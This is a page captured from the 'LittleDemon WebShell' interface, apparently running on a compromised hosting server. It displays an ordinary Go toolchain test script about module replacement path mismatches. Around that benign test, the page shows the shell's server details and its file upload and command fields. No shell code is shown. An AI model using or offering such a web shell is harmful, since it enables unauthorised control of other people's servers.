LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /opt/golang/1.22.0/src/cmd/go/testdata/script/
File Upload :
Command :
Current File : //opt/golang/1.22.0/src/cmd/go/testdata/script/mod_load_replace_mismatch.txt

# If a replacement module declares a module path different from both
# the original module and its location, report an error with all three paths.
# In particular, the "required as" path should be the original.
# Verifies golang.org/issue/38220.
! go mod download
cmp stderr want

-- go.mod --
module m

require rsc.io/quote v1.5.2

replace rsc.io/quote v1.5.2 => example.com/quote v1.5.2

-- use.go --
package use

import _ "rsc.io/quote"

-- want --
go: rsc.io/quote@v1.5.2 (replaced by example.com/quote@v1.5.2): parsing go.mod:
	module declares its path as: rsc.io/Quote
	        but was required as: rsc.io/quote

LittleDemon - FACEBOOK
[ KELUAR ]